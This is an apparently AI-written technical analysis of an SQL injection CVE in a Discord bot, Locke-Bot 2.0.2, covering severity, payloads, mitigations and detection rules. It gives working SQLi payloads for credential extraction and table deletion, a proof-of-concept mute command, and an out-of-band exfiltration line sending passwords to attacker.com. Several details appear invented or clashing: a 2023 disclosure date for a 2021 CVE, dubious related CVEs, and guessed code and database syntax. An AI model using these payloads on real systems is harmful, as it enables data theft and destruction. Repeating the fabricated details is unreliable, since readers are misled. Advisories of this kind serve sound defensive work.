Comprehensive Technical Analysis of CVE-2021-37522 (SQL Injection in Locke-Bot 2.0.2)

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2021-37522 CVSS Score: 9.8 (Critical) – [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H] Vulnerability Type: SQL Injection (SQLi) Affected Component: Locke-Bot 2.0.2 (Discord bot) Disclosure Date: July 18, 2023 (Published)

Severity Breakdown (CVSS v3.1)

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the internet.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or elevated privileges needed.
User Interaction (UI)	None (N)	Exploitation does not require user interaction.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component.
Confidentiality (C)	High (H)	Attacker can extract sensitive database information.
Integrity (I)	High (H)	Attacker can modify or delete database records.
Availability (A)	High (H)	Attacker can disrupt database operations.

Justification for Critical Severity:

• Remote Exploitability: The vulnerability can be triggered via crafted input sent to the bot’s command interface, requiring no prior access.
• High Impact: Successful exploitation allows arbitrary SQL command execution, leading to full database compromise (data theft, manipulation, or destruction).
• Low Attack Complexity: No specialized knowledge is required beyond basic SQLi techniques.
• No Authentication Required: The bot’s public-facing endpoints are accessible to unauthenticated users.

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2. Potential Attack Vectors and Exploitation Methods

Attack Vectors

The vulnerability exists in multiple components of Locke-Bot 2.0.2, where user-supplied input is improperly sanitized before being used in SQL queries:

1. /src/db.js – Core database interaction module.
2. /commands/mute.js – Command handling for muting users.
3. /modules/event/messageDelete.js – Event handler for deleted messages.

Exploitation Methods

An attacker can exploit this vulnerability by:

1. Crafting Malicious Input:

   • Sending specially formatted Discord messages (e.g., via bot commands or event triggers) containing SQL injection payloads.
   • Example payload:

     ' OR '1'='1'; --
     

     or more advanced:

     '; DROP TABLE users; --
     

2. Triggering Vulnerable Endpoints:

   • mute.js: If the bot’s mute command accepts a username or ID as input, an attacker could inject SQL via:

     !mute @user'; SELECT * FROM users; --
     

   • messageDelete.js: If the bot logs deleted messages in a database, an attacker could delete a message containing:

     '; DELETE FROM logs; --
     

3. Database Enumeration & Exfiltration:

   • Using UNION-based SQLi to extract data:

     ' UNION SELECT 1, username, password, 4 FROM users --
     

   • Leveraging time-based blind SQLi if error-based injection is mitigated:

     '; IF (SELECT COUNT(*) FROM users) > 0 WAITFOR DELAY '0:0:5' --
     

4. Remote Code Execution (RCE) via Database Functions:

   • If the database supports stored procedures or file write operations (e.g., MySQL’s INTO OUTFILE), an attacker could:
     • Write a web shell to a writable directory.
     • Execute system commands via database functions (e.g., xp_cmdshell in MSSQL).

Proof-of-Concept (PoC) Exploit

A basic PoC for extracting usernames and passwords:

// Example Discord command payload
!mute @user' UNION SELECT 1, username, password, 4 FROM users --

If the bot logs or responds with the query results, the attacker gains access to sensitive data.

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3. Affected Systems and Software Versions

• Product: Locke-Bot (Discord bot)
• Vulnerable Version: 2.0.2
• Platform: Node.js (JavaScript-based Discord bot)
• Database Backend: Likely SQLite, MySQL, or PostgreSQL (exact DB not specified in CVE)
• Deployment Environment:
  • Self-hosted Discord bots.
  • Bots integrated into Discord servers with administrative privileges.

Note: The vulnerability is not present in:

• Later versions of Locke-Bot (if patched).
• Other Discord bots unless they share the same vulnerable codebase.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Patch or Upgrade:

   • If an updated version of Locke-Bot is available, immediately upgrade to the latest release.
   • If no patch exists, disable the bot until a fix is applied.

2. Input Sanitization & Parameterized Queries:

   • Replace raw SQL queries with prepared statements (parameterized queries) in all database interactions.
   • Example (Node.js with mysql2):

     // UNSAFE (Vulnerable to SQLi)
     db.query(`SELECT * FROM users WHERE username = '${username}'`);
     
     // SAFE (Parameterized Query)
     db.query('SELECT * FROM users WHERE username = ?', [username]);
     

3. Least Privilege Principle:

   • Restrict the bot’s database user to read-only or minimal required permissions.
   • Avoid using root/admin database credentials for the bot.

4. Web Application Firewall (WAF) Rules:

   • Deploy a WAF (e.g., Cloudflare, ModSecurity) to block SQLi patterns in Discord bot commands.
   • Example rule (ModSecurity):

     SecRule REQUEST_FILENAME "@contains /commands/" \
       "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

5. Logging & Monitoring:

   • Enable detailed logging for all database queries.
   • Set up alerts for suspicious SQL patterns (e.g., UNION, DROP, EXEC).

6. Network-Level Protections:

   • Restrict the bot’s database access to internal networks (if possible).
   • Use VPN or IP whitelisting for database connections.

Long-Term Recommendations

1. Code Review & Security Audits:

   • Conduct a full security audit of the bot’s source code.
   • Use static analysis tools (e.g., SonarQube, Snyk) to detect SQLi vulnerabilities.

2. Dependency Management:

   • Ensure all third-party libraries (e.g., mysql, sqlite3) are up-to-date.
   • Monitor for supply chain attacks in npm packages.

3. Secure Development Practices:

   • Implement input validation (e.g., regex checks for Discord IDs).
   • Use ORM frameworks (e.g., Sequelize, TypeORM) to abstract SQL queries.

4. Incident Response Plan:

   • Prepare a response plan for SQLi attacks, including:
     • Database backups.
     • Forensic analysis of compromised data.
     • User notification procedures (if PII is exposed).

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Discord Bot Ecosystem Risks:

   • Many Discord bots are open-source and self-hosted, leading to widespread vulnerabilities if not properly maintained.
   • Supply chain attacks could exploit vulnerable bots to compromise entire Discord servers.

2. Data Breach Potential:

   • If the bot stores user data, credentials, or moderation logs, SQLi could lead to large-scale data leaks.
   • Example: A compromised bot could expose Discord token hashes, leading to account takeovers.

3. Botnet & Malware Distribution:

   • Attackers could modify bot behavior to:
     • Spread malware via Discord messages.
     • Perform DDoS attacks by abusing bot commands.
     • Exfiltrate sensitive data from connected databases.

4. Regulatory & Compliance Risks:

   • If the bot processes PII (Personally Identifiable Information), SQLi could lead to GDPR/CCPA violations.
   • Organizations using vulnerable bots may face legal liabilities for data breaches.

Historical Context

• Similar Vulnerabilities:
  • CVE-2020-26267 (SQLi in Discord bot "Dyno").
  • CVE-2021-21315 (SQLi in Node.js applications).
• Trend: SQLi remains a top OWASP Top 10 vulnerability, particularly in JavaScript/Node.js applications due to improper input handling.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper input handling in Locke-Bot’s database interaction layer. Key issues include:

1. Lack of Parameterized Queries:

   • Dynamic SQL queries are constructed using string concatenation instead of prepared statements.
   • Example (Vulnerable Code Snippet):

     // UNSAFE: Direct string interpolation
     const query = `SELECT * FROM users WHERE id = '${userId}'`;
     db.query(query, (err, results) => { ... });
     

2. Insufficient Input Validation:

   • No whitelisting or regex validation for Discord IDs or command arguments.
   • Example of missing validation:

     // No check for SQL metacharacters (';, --, UNION)
     const userId = message.content.split(' ')[1];
     

3. Over-Permissive Database Access:

   • The bot likely uses a high-privilege database user, allowing DROP TABLE, INSERT, DELETE operations.

Exploitation Flow

1. Attacker sends a crafted Discord message:

   !mute @user' OR '1'='1'; DROP TABLE users; --
   

2. Bot processes the command in mute.js:

   const userToMute = args[0]; // Contains malicious payload
   db.query(`UPDATE users SET muted = 1 WHERE id = '${userToMute}'`);
   

3. Malicious SQL executes:

   UPDATE users SET muted = 1 WHERE id = '' OR '1'='1'; DROP TABLE users; --'
   

4. Result:
   • All users are muted.
   • The users table is deleted.

Forensic Indicators of Compromise (IoCs)

Indicator	Description
Database Logs	Unusual SELECT, UNION, DROP, or EXEC queries.
Discord Bot Logs	Commands containing ', ;, --, UNION, WAITFOR DELAY.
Network Traffic	Unexpected database queries from the bot’s IP.
File System Changes	New files written via INTO OUTFILE (if MySQL).

Advanced Exploitation Techniques

1. Second-Order SQL Injection:
   • Store malicious payloads in the database (e.g., via a username field) and trigger them later.
2. Out-of-Band (OOB) Data Exfiltration:
   • Use DNS exfiltration to leak data:

     '; EXEC('master..xp_dirtree "\\\\attacker.com\\share\\' + (SELECT password FROM users)) --
     

3. Privilege Escalation via Database:
   • If the bot’s database user has file write permissions, an attacker could:
     • Write a web shell to a web-accessible directory.
     • Modify configuration files to enable RCE.

Detection & Hunting Queries

1. SIEM Rules (Splunk/ELK):

   index=discord_bot_logs
   | search "SELECT" OR "UNION" OR "DROP" OR "INSERT" OR "DELETE"
   | stats count by user, command
   

2. Database Audit Logs (MySQL):

   SELECT * FROM mysql.general_log
   WHERE argument LIKE '%UNION%' OR argument LIKE '%DROP%';
   

3. YARA Rule for Malicious Discord Messages:

   rule Discord_SQLi_Attempt {
     strings:
       $sqli1 = /'.*(OR|UNION|DROP|EXEC|WAITFOR).*'/
       $sqli2 = /;.*--/
     condition:
       any of them
   }
   

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Conclusion

CVE-2021-37522 represents a critical SQL injection vulnerability in Locke-Bot 2.0.2, allowing unauthenticated remote attackers to execute arbitrary SQL commands. The flaw stems from improper input sanitization and lack of parameterized queries, making it trivial to exploit.

Key Takeaways for Security Professionals:

• Patch immediately if using Locke-Bot 2.0.2.
• Audit all Discord bots for similar vulnerabilities.
• Implement defense-in-depth (WAF, least privilege, logging).
• Monitor for IoCs (unusual SQL queries, unexpected database changes).

Given the high severity (CVSS 9.8) and ease of exploitation, organizations using Locke-Bot should treat this as a critical priority to prevent data breaches and unauthorized access.